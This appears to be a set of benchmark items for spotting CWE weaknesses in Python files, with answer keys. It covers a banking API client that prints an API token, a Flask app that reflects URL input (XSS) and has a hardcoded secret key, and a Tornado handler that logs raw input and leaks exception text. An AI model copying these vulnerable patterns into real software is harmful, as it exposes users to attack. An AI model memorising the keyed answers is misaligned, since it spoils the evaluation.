Which of the following functions or classes contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability?

  A) get_currency_conversions
  B) main
  C) get_access_token
  D) get_customer_info
Answer: B
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
import os
import json

from dotenv import load_dotenv

from .aws_signing import AwsSigningV4
from .request_handler import RequestHandler

load_dotenv()
load_dotenv(os.path.join(os.path.dirname(__name__), "..", ".env"))


client_id = os.environ.get("CLIENT_ID")
client_secret = os.environ.get("CLIENT_SECRET")
api_key = os.environ.get("API_KEY")

aws_signer = AwsSigningV4(
    aws_access_key_id=client_id,
    aws_secret_access_key=client_secret,
    aws_host="developer-api-testmode.dnb.no",
)

request_handler = RequestHandler(
    endpoint="https://developer-api-testmode.dnb.no", api_key=api_key, aws_signer=aws_signer
)


def get_currency_conversions(quoteCurrency):
    response = request_handler.request(path=f"/currencies/{quoteCurrency}")
    return response.json()


def get_currency_conversion(quoteCurrency, baseCurrency):
    response = request_handler.request(path=f"/currencies/{quoteCurrency}/convert/{baseCurrency}")
    return response.json()


def get_access_token(ssn):
    response = request_handler.request(path="/tokens", method="POST", data={"ssn": ssn})
    return response.json()["jwtToken"]


def get_customer_info(api_token):
    response = request_handler.request(path="/customers/current", api_token=api_token)
    return response.json()


def main():
    api_token = get_access_token(ssn="29105573083")
    print("\nAPI token: " + api_token)

    customer = get_customer_info(api_token)
    print("\nCustomer info: " + json.dumps(customer, indent=4, sort_keys=True))

    currencies = get_currency_conversions("NOK")
    print("\nCurrencies: " + json.dumps(currencies, indent=4, sort_keys=True))

    currency = get_currency_conversion("NOK", "EUR")
    print("\nNOK -> EUR: " + json.dumps(currency, indent=4, sort_keys=True))


if __name__ == "__main__":
    main()

```

Name the function or class in this code that contains a `CWE-312: Cleartext Storage of Sensitive Information` vulnerability.
Answer: main
system: You are an expert security code reviewer. You will be shown a source code file along with a multiple-choice question listing several function or class names from that file. Your task is to identify which one contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the single letter of the correct option, wrapped in \boxed{...}. Example: `\boxed{B}`. Output the boxed letter ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, Response
from flask_socketio import SocketIO, send, emit
from flask_cors import CORS

from components.LCD.I2CLCD1602 import display
from components.ultrasonic_ranging import loop_during, get_distance


app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
cors = CORS(app,resources={r"/socket.io/*":{"origins":"*"}})
socketio = SocketIO(app)

@app.route("/")
def hello():
    content = """<h1>Elevator web server</h1>
    <p>An Python Flask web server to master some Raspberry PI components. This server expose some routes:</p>

    <ul>
      <li>GET <a href="/lcd/display/helloworld">/lcd/display/<content></a> to display a message on the LCD screen</li>
      <li>GET <a href="/led/blink">/led/blink</a> to make LED blink</li>
      <li>GET <a href="/sonar/run">/sonar/run/<int:time></a> to get distance on sonar during some time (response on "sonar" socket)</li>
    </ul>

    <p>You can also make theses SOCKET queries</p>

    <ul>
        <li><code>sonar</code> to get distance (response on "sonar" socket)</li>
    </ul>
    """
    return Response(content, mimetype='text/html')

@app.route('/lcd/display/<content>')
def display_lcd(content):
    """Simply read content from URI & display message on LCD screen
    """
    display(content)
    return content

@app.route('/led/blink')
def blink_led():
    """Make LED blink during 5 seconds
    """
    # TODO
    pass

@app.route('/sonar/run/<int:time>')
def run_sonar(time):
    """Get distance on sonar during a given duration & return it on `sonar`
    socket channel

    time parameter is the number of seconds to get distance (each seconds)
    """
    for distance in loop_during(time):
      emit('sonar', (distance), broadcast=True, namespace="/")
      return "finished"

@socketio.on('sonar')
def get_sonar(data):
    """Get distance on sonar & return it on `sonar` socket channel
    """
    distance = get_distance()
    emit('sonar', (distance), broadcast=True, namespace="/")
    print('sonar mesured this distance: %.5f' % distance)


@socketio.on('message')
def handle_message(message):
  print('received message: ' + message)

if __name__ == '__main__':
  socketio.run(app)

```

Which of the following functions or classes contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability?

  A) hello
  B) blink_led
  C) handle_message
  D) display_lcd
Answer: D
system: You are an expert security code reviewer. You will be shown a source code file. Your task is to name the single function or class that contains the specified CWE vulnerability.

OUTPUT FORMAT: Respond with the exact function or class name (no parentheses, no qualifiers, no module prefixes), wrapped in \boxed{...}. Example: `\boxed{salted_hmac}`. Output the boxed name ONLY -- no explanation, no other text.

user: ```python
from flask import Flask, Response
from flask_socketio import SocketIO, send, emit
from flask_cors import CORS

from components.LCD.I2CLCD1602 import display
from components.ultrasonic_ranging import loop_during, get_distance


app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
cors = CORS(app,resources={r"/socket.io/*":{"origins":"*"}})
socketio = SocketIO(app)

@app.route("/")
def hello():
    content = """<h1>Elevator web server</h1>
    <p>An Python Flask web server to master some Raspberry PI components. This server expose some routes:</p>

    <ul>
      <li>GET <a href="/lcd/display/helloworld">/lcd/display/<content></a> to display a message on the LCD screen</li>
      <li>GET <a href="/led/blink">/led/blink</a> to make LED blink</li>
      <li>GET <a href="/sonar/run">/sonar/run/<int:time></a> to get distance on sonar during some time (response on "sonar" socket)</li>
    </ul>

    <p>You can also make theses SOCKET queries</p>

    <ul>
        <li><code>sonar</code> to get distance (response on "sonar" socket)</li>
    </ul>
    """
    return Response(content, mimetype='text/html')

@app.route('/lcd/display/<content>')
def display_lcd(content):
    """Simply read content from URI & display message on LCD screen
    """
    display(content)
    return content

@app.route('/led/blink')
def blink_led():
    """Make LED blink during 5 seconds
    """
    # TODO
    pass

@app.route('/sonar/run/<int:time>')
def run_sonar(time):
    """Get distance on sonar during a given duration & return it on `sonar`
    socket channel

    time parameter is the number of seconds to get distance (each seconds)
    """
    for distance in loop_during(time):
      emit('sonar', (distance), broadcast=True, namespace="/")
      return "finished"

@socketio.on('sonar')
def get_sonar(data):
    """Get distance on sonar & return it on `sonar` socket channel
    """
    distance = get_distance()
    emit('sonar', (distance), broadcast=True, namespace="/")
    print('sonar mesured this distance: %.5f' % distance)


@socketio.on('message')
def handle_message(message):
  print('received message: ' + message)

if __name__ == '__main__':
  socketio.run(app)

```

Name the function or class in this code that contains a `CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')` vulnerability.
Answer: display_lcd
system: You are an expert security code reviewer. You will be shown a source code file along with a multi-select question listing several CWE (Common Weakness Enumeration) categories. Your task is to identify which of the listed CWEs are present in the code.

OUTPUT FORMAT: Respond with the letter(s) of all correct options, sorted alphabetically and comma-separated, wrapped in a single \boxed{...}. Examples: `\boxed{A}` for one correct, `\boxed{A,C}` for two, `\boxed{A,C,E}` for three. Output the boxed answer ONLY -- no explanation, no other text.

user: ```python
# coding: utf-8
import sys
import json
import logging
import tornado
import tornado.web
import tornado.ioloop
from tornado.httpserver import HTTPServer

sys.path.append('/home/gump/Software/pycharm-2018.1.6/projects/bert-for-classificaion/')

from sentence_fluency.predictor import predict


WEB_PORT = 1368


class MainHandler(tornado.web.RequestHandler):

    def data_received(self, chunk):
        pass

    def post(self, *args, **kwargs):
        try:
            request_json = json.loads(self.request.body)
            sentence = request_json.get('sentence', '')
            logging.info("sentence：{}".format(sentence))
            if sentence:
                result = predict(sentence)
                logging.info("result: {}".format(result))
                self.write({
                        'code': 200,
                        'is_fluency': result
                    })
            else:
                self.write({
                    'code': 300,
                    'message': 'can not get sentence'
                })
        except Exception as e:
            self.write({
                'code': 500,
                'message': e
            })
            logging.info(e)


application = tornado.web.Application([
    ("/sentence_fluency/", MainHandler)
])

if __name__ == '__main__':
    server = HTTPServer(application)
    server.bind(WEB_PORT)
    server.start(num_processes=1)  # redis_info.num_processes)
    print("server is running on {}".format(WEB_PORT))
    tornado.ioloop.IOLoop.current().start()




```

Which of the following CWE vulnerability categories are present in this code? Multiple options may be correct.

  A) CWE-327: Use of a Broken or Risky Cryptographic Algorithm
  B) CWE-601: URL Redirection to Untrusted Site ('Open Redirect')
  C) CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
  D) CWE-502: Deserialization of Untrusted Data
  E) CWE-117: Improper Output Neutralization for Logs
  F) CWE-209: Generation of Error Message Containing Sensitive Information
Answer: E,F